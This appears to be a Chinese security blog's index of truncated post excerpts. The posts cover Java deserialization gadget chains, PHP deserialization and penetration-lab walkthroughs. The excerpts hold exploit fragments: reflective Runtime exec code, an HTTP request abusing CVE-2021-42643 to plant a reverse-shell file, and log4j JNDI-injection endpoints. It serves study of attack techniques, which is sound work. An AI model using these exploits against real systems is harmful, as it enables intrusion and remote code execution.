动态加载字节码
在利用链的构建过程中,由于受到环境限制,Runtime 类无法被正常使用,因此无法再通过传统的 Runtime 方式来执行命令。为了解决这一问题,可以采用动态加载字节码的方式来实现命令的执行。这种方式通过将需要执行的代码以字节码的形式动态加载到内存中,并利用 Java 的类加载机制在运行时执行,从而绕过对 Runtime 的直接依赖。 基础部分字节码Java字节码是由Java编译器(如javac)将Java源代码(.java)编译而成。每个.class文件中包含的就是对应类的字节码指令。JVM负责解释执行这些字节码指令,从而实现Java程序的运行。 示例Java类 12345public class HelloWorld { public static void main(String[] args) { System.out.println("Hello, World!"); }} 经过编译生成HelloWorld.class 123456public static void...
Java反序列化系列漏洞03篇Commons-Collections之CC6链
前文分析到CC1会受到JDK和Commons Collections版本限制,CC6优势在于绕过JDK 8u71-8u202版本限制,8u_202以上的版本还可以配合fastjson利用,Commons Collections 利用范围也较广,因此它是最好用的CC链。 版本切换jdk版本用jdk8u71,反编译用openJDK,它的搭建在CC1已经介绍了,这里不再介绍,之前搭建过的可以直接切换版本 CC6反序列化利用链分析 JDK_8u71把AnnotationInvocationHandler类给限制住了,LazyMap和InvokerTransformer还可以继续用,只需要找到能够调用LazyMa的get()方法的类即可。 先把LazyMap和InvokerTransformer的POC写下来,和CC1是一样的。 12345678910Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new...
Java反序列化系列漏洞02篇Commons-Collections之LazyMap版CC1链
本文将分析 LazyMap 版的 CC1 反序列化利用链。关于前置知识与环境搭建,已在上一篇文章 TransformedMap版CC1链 中进行详细讲解,本篇不再赘述。相较于 TransformedMap 版本,LazyMap 的利用链整体结构变化不大,但在实现细节上稍有差异,它出自ysoserial,下面直接进入核心分析。 LazyMap 版的 CC1 反序列化利用链分析链尾InvokerTransformer类尾部同样还是InvokerTransformer,可以利用反射执行命令,执行命令详情还是在上一篇文章。代码如下: 1234Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer =new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}); ...
Java反序列化系列漏洞01篇Commons-Collections之TransformedMap版CC1链
一文解读CC1反序列化利用链的思路、原理、逻辑、构造反序列化利用链方法及写poc方法。
PHP反序列化-字符逃逸漏洞解读
以前在学习PHP反序列化字符逃逸的时候,找不到合适的文章来加深我对它的理解,现在写一篇方便后续拿来快速回忆;我这里用例题详细讲解了PHP反序列化中字符逃逸漏洞中字符增加和字符减少的两种情况
Java反序列化系列漏洞00篇-URLDNS链详解
最简单的Java反序列化利用链,可以作为学习反序列化链的开始,详细描述了利用的原理、流程、利用和类之间的调用详情。
春秋云境-Delegation
CVE-2021-42643 diff提权 rdp爆破 注册表提权 NTLM强制认证+非约束性委派 flag01拿到ip后,访问/admin存在弱口令 admin/123456登陆后查看版本,该版本存在cve-2021-42643 抓包利用,写一个弹shell的poyload,储存在php文件中;.._d_表示上级目录,这样可以把php文件上传到根目录。 12345678910POST /index.php?case=template&act=save&admin_dir=admin&site=default HTTP/1.1 Host: 192.168.31.96 Content-Length: 57 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 Content-Type: application/x-www-form-urlencoded; Cookie: login_username=admin;...
春秋云境-Exchange
Exchange + JDBC + FastJSON 三者之间的关系简单理解: Exchange 获取邮件 ->JDBC 存入 MySQL ->FastJSON 转换 JSON ,Java 应用可以处理企业邮件,并提供 API...
春秋云境-Certify
flag01fscan扫描一下,扫描到了solr Apache Solr 是一个开源的、基于 Java 的高性能搜索平台,用于对大型数据集进行全文搜索、结构化搜索和分析。 访问之后,solr版本是8.11.0,有个CVE-2019-0193,但没有利用成功;然后发现solr有log4j的组件,Solr log4j2 存在RCE,漏洞点如下: 1234/solr/admin/info?d=payload #payload就是用来jndi注入的payload/solr/admin/cores?action=payload /solr/admin/cores?_=1682346330230&action=CREATE&config=solrconfig.xml&dataDir=data&instanceDir=new_core&name=payload&schema=schema.xml&wt=json /solr/admin/collections?action=payload Solr log4j2 RCE...
春秋云境-Brute4Road
Brute4Road是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。